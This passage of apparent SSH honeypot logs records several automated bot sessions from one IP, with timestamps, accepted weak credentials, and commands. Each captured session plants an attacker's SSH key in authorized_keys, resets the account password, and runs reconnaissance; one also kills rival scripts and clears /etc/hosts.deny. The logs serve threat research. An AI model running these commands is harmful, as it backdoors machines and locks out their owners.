13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T22:51:53.517699+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T22:51:54.570311+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T22:51:54.638554+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T22:51:55.797849+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T22:51:55.865251+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T22:51:56.836506+00:00","kind":"output","latency_ms":null,"data":"admin123"},{"seq":31,"at":"2026-08-26T22:51:56.903488+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T22:51:58.856345+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T22:51:58.923622+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T22:52:00.460595+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin123","password":"admin123123","method":"password","accepted":true,"tier":"other"}]} {"id":"f9e62d41-1d36-4fdd-af5c-5dddd67fcffc","name":"coastal-frosty-jaguar","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":47664,"username":"mahendra","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:50:04.919657+00:00","ended_at":"2026-08-26T22:50:07.051229+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-26T22:49:41.246475+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:49:41.317097+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:49:44.655742+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:49:46.376081+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:49:46.447545+00:00","kind":"input","latency_ms":null,"data":"echo -e \"mahendra\\nURp7tVRQ0N7l\\nURp7tVRQ0N7l\"|passwd|bash"},{"seq":6,"at":"2026-08-26T22:49:46.514080+00:00","kind":"input","latency_ms":null,"data":"echo \"mahendra\\nURp7tVRQ0N7l\\nURp7tVRQ0N7l\\n\"|passwd"},{"seq":7,"at":"2026-08-26T22:49:46.579917+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:49:47.359305+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:49:47.958811+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T22:49:47.960151+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T22:49:48.027874+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T22:49:49.733543+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T22:49:49.804837+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T22:49:50.613367+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T22:49:50.684481+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T22:49:51.961078+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T22:49:52.029200+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T22:49:53.851773+00:00","kind":"output","latency_ms":null,"data":" 22:49:53 up 6 days, 19:40, 0 user, load average: 0.17, 0.2, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T22:49:53.918461+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T22:49:54.763873+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T22:49:54.830865+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T22:49:56.144126+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T22:49:56.208107+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T22:49:58.008410+00:00","kind":"output","latency_ms":null,"data":"top - 22:49:58 up 6 days, 19:40, 0 user, load average: 0.17, 0.2, 0.13\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T22:49:58.073996+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T22:49:59.855129+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T22:49:59.921694+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T22:50:01.990894+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T22:50:02.063944+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T22:50:03.161689+00:00","kind":"output","latency_ms":null,"data":"mahendra"},{"seq":31,"at":"2026-08-26T22:50:03.226069+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T22:50:04.853044+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T22:50:04.920700+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T22:50:07.041156+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"mahendra","password":"mahendra","method":"password","accepted":true,"tier":"other"}]} {"id":"22fe2092-f0d9-4d16-894b-ecbb034222d0","name":"velvet-burly-oriole","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":59282,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:48:14.443094+00:00","ended_at":"2026-08-26T22:48:15.808304+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:47:50.364089+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:47:50.433308+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:47:52.346634+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:47:54.266935+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:47:54.337027+00:00","kind":"input","latency_ms":null,"data":"echo \"root:67ezaJoNdMw8\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:47:54.405710+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:47:54.475003+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:47:55.282118+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:47:55.867564+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T22:47:55.939799+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T22:47:57.442529+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:47:57.514447+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:47:59.147216+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:47:59.222201+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:48:01.423148+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:48:01.493119+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:48:03.615719+00:00","kind":"output","latency_ms":null,"data":" 22:48:03 up 6 days, 19:38, 0 user, load average: 0.11, 0.14, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:48:03.683438+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:48:05.582481+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:48:05.652371+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:48:06.841135+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:48:06.908865+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:48:08.656274+00:00","kind":"output","latency_ms":null,"data":"top - 22:48:08 up 6 days, 19:38, 0 user, load average: 0.11, 0.14, 0.07\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:48:08.723416+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:48:10.556344+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:48:10.627056+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:48:11.541782+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:48:11.610296+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:48:13.060831+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:48:13.131028+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:48:14.375145+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:48:14.443867+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:48:15.797836+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"pass$123","method":"password","accepted":true,"tier":"other"}]} {"id":"414307d0-dd10-440b-9f46-4fa975f862e3","name":"orderly-thawing-gibbon","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":47676,"username":"test_user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:46:19.827969+00:00","ended_at":"2026-08-26T22:46:20.812519+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2270,"events":[{"seq":1,"at":"2026-08-26T22:45:56.006002+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:45:56.084331+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:45:59.230054+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:46:00.338582+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:46:00.408199+00:00","kind":"input","latency_ms":null,"data":"echo -e \"test_user@123\\n0NPlGhgz8B7l\\n0NPlGhgz8B7l\"|passwd|bash"},{"seq":6,"at":"2026-08-26T22:46:00.477486+00:00","kind":"input","latency_ms":null,"data":"echo \"test_user@123\\n0NPlGhgz8B7l\\n0NPlGhgz8B7l\\n\"|passwd"},{"seq":7,"at":"2026-08-26T22:46:00.545847+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:46:01.556491+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T22:46:01.622988+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T22:46:02.082970+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T22:46:02.380857+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:46:02.817945+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T22:46:02.890772+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T22:46:04.368282+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T22:46:04.439424+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T22:46:06.014790+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T22:46:06.084566+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T22:46:08.040781+00:00","kind":"output","latency_ms":null,"data":" 22:46:08 up 6 days, 19:36, 0 user, load average: 0.32, 0.27, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T22:46:08.110451+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T22:46:10.080934+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T22:46:10.147647+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T22:46:12.057671+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T22:46:12.126697+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T22:46:13.552576+00:00","kind":"output","latency_ms":null,"data":"top - 22:46:13 up 6 days, 19:36, 0 user, load average: 0.32, 0.27, 0.22\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T22:46:13.617026+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T22:46:15.109875+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T22:46:15.178299+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T22:46:17.130963+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T22:46:17.198418+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T22:46:18.349040+00:00","kind":"output","latency_ms":null,"data":"test_user"},{"seq":31,"at":"2026-08-26T22:46:18.414532+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T22:46:19.760059+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T22:46:19.829135+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T22:46:20.801831+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"test_user","password":"test_user@123","method":"password","accepted":true,"tier":"other"}]} {"id":"d52ebf8a-fda9-4565-9359-5d037052d946","name":"mindful-pewter-tapir","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":60222,"username":"rolando","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:44:24.890570+00:00","ended_at":"2026-08-26T22:44:26.728059+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2254,"events":[{"seq":1,"at":"2026-08-26T22:44:01.877718+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:44:01.944612+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:44:05.130532+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:44:07.177612+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:44:07.247363+00:00","kind":"input","latency_ms":null,"data":"echo -e \"rolando\\nEVbrXBzaMhRU\\nEVbrXBzaMhRU\"|passwd|bash"},{"seq":6,"at":"2026-08-26T22:44:07.317749+00:00","kind":"input","latency_ms":null,"data":"echo \"rolando\\nEVbrXBzaMhRU\\nEVbrXBzaMhRU\\n\"|passwd"},{"seq":7,"at":"2026-08-26T22:44:07.385308+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:44:08.269525+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T22:44:08.337864+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T22:44:09.159785+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T22:44:09.213889+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:44:09.684033+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T22:44:09.759332+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T22:44:10.649699+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T22:44:10.729943+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T22:44:11.736688+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T22:44:11.806154+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T22:44:13.633350+00:00","kind":"output","latency_ms":null,"data":" 22:44:13 up 6 days, 19:34, 0 user, load average: 0.26, 0.2, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T22:44:13.701615+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T22:44:15.035585+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T22:44:15.104476+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T22:44:16.564709+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T22:44:16.634113+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T22:44:18.576670+00:00","kind":"output","latency_ms":null,"data":"top - 22:44:18 up 6 days, 19:34, 0 user, load average: 0.26, 0.2, 0.23\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T22:44:18.646680+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T22:44:19.503208+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T22:44:19.573543+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T22:44:21.571272+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T22:44:21.641775+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T22:44:23.274239+00:00","kind":"output","latency_ms":null,"data":"rolando"},{"seq":31,"at":"2026-08-26T22:44:23.344163+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T22:44:24.823023+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T22:44:24.892584+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print 